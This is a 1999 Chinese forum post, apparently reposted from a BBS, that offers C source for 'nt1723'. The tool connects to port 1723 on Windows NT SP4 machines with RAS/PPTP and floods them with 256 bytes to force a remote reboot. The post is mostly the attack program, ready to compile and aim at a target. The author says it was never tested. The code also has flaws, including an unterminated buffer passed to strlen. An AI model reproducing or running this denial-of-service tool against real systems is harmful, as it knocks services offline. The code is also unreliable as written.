发信人: zer9() 
整理人: williamlong(1999-09-28 22:15:24), 站内信件
 | 
 
 
下面的程序可远程重启动安装了PAS&PPTP 的winNT sp4.
 (port 1723 open)
 不过我是根据弱点的描述写的,没有试过,
 if(我的理解&&弱点描述)
     success!;
 不论成功与否,tell me ,please.
                                    [email protected]
 ----Cut Here------------------------------------------------
 
 /*              nt1723
  * rem0te reb00t winNt sp4 with RAS&PPTP
  *      test on slackware 2.0.34
  *       cc nt1723.c -o nt1723
  *               b y 
  *             z e r 9  
  *          [email protected]
  */
 #include <stdio.h>
 #include <sys/socket.h>
 #include <sys/types.h>
 #include <string.h>
 #include <netdb.h>
 #include <netinet/in.h>
 
 #define  FLOOD_PORT  1723
 
 int main(int argc,char *argv[])
 {
  struct sockaddr_in sin;
  struct hostent *nt;
  struct in_addr Target;
  int s;
  char sendbuf[256];
  
  printf("nt1723  by zer9  mailto:[email protected] \n");
  printf("usage: %s <Target>\n",argv[0]);
  if(argc!=2) return -1;
  if((nt=gethostbyname(argv[1]))!=NULL)
    bcopy(nt->h_addr,(char *)&Target.s_addr,nt->h_length);
   else
    Target.s_addr=inet_addr(argv[1]);
  if(Target.s_addr==-1)
   {
    perror("gethostbyname");
    return -1;
   }
  if((s=socket(AF_INET,SOCK_STREAM,0))<0)
  {
   perror("socket");
   return -1;
  }
  sin.sin_family=AF_INET;
  sin.sin_port=htons(FLOOD_PORT);
  sin.sin_addr.s_addr=Target.s_addr;
  if(connect(s,(struct sockaddr*)&sin,sizeof(sin))<0)
  {
   perror("connect");
   return -1;
  }
  memset(sendbuf,'a',256);
  send(s,sendbuf,strlen(sendbuf),0); 
  printf("flooded\n");
  close(s);
  return;
 }
  -- ※ 来源:.月光软件站 http://www.moon-soft.com.[FROM: 202.103.105.75]
  | 
 
 
 |